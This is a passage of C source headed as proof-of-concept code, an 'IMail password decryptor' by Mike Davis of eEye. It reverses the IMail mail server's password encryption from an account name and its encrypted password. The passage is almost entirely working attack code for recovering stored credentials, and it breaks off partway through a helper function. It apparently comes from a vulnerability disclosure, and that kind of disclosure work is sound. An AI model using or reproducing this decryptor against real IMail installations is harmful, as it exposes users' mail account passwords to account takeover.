Proof-of-concept code (by Mike):

/*
* IMail password decryptor
* By: Mike Davis (mike@eEye.com)
*
* Thanks to Marc and Jason for testing and their general eliteness.
* Usage: imaildec <account name> <encrypted password>
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <memory.h>

void usage (char *);
int search (char *);
int eql (char *, char *);
int lc (int);
int strlen();

struct
{
 char *string;
 int o;
} hashtable[255];

struct { char *string; } encrypted[60];

char *list = "0123456789ABCDEF";

int alpha[95] = {
 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49,
 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67,
 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85,
 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102,
 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116,
 117, 118, 119, 120, 121, 122, 123, 124, 125, 126
};

int
main (int argc, char *argv[])
{
 int i, j, k, ascii, start, diffs[66], num, loop;
 char asciic[155];

 if (argc <= 2 || argc > 3) usage (argv[0]);
 if (strlen (argv[2]) > 62)
 {
     printf ("\nERROR: Please enter an encrypted password less than 60 "
             "characters.\n\n");

     usage (argv[0]);
 }

 printf ("IMail password decryptor\nBy: Mike <Mike@eEye.com>\n\n");

 ascii = -97;

 /* Make the hash table we will need to refer to. */
 for (i = 0, start = 0; i < strlen (list); i++)
  {
    for (k = 0; k < strlen (list); k++)
    {
       hashtable[start].string = (char *) malloc (3);
       sprintf (hashtable[start].string, "%c%c", list[i], list[k]);
       hashtable[start].o = ascii++;

       /* Don't want to skip one! */
       if ((k + 1) != strlen (list)) start++;
     }

     start++;
 }

 for (k = 0, start = 0; k < strlen (argv[1]); k += strlen (argv[1]))
 {
     for (j = k; j < k + strlen (argv[2]); j += 2, start++)
     {
       encrypted[start].string = (char *) malloc (3);
       sprintf (encrypted[start].string, "%c%c", argv[2][j],
                 argv[2][j + 1]);
     }
 }

 for (j = 0, start = 0; j < strlen(argv[2]) / strlen(argv[1]); j++)
     for (i = 0; i < strlen (argv[1]); i++, start++)
       diffs[start] = (lc(argv[1][0]) - lc(argv[1][i]));

 printf ("Account Name: %s\n", argv[1]);

 printf ("Encrypted: ");
 for (i = 0; i < strlen (argv[2]) / 2; i++) printf ("%s", encrypted[i]);
 putchar('\n');

 printf ("Unencrypted: ");
 for (i = 0, loop = 0; i < strlen (argv[2]) / 2; i++, loop++)
 {
     num = search (encrypted[i].string) + diffs[i];
     if (loop == 0)
     {
       /* Make alphabet */
       for (j = lc (argv[1][0]) - 65, start = 0;
             j <= lc (argv[1][0]) + 29;
             j++, start++)
       {
           asciic[j] = alpha[start];
       }
     }

     putchar(asciic[num]);
 }

 putchar('\n');
 return 0;
}

int
search (char *term)
{
 register int n;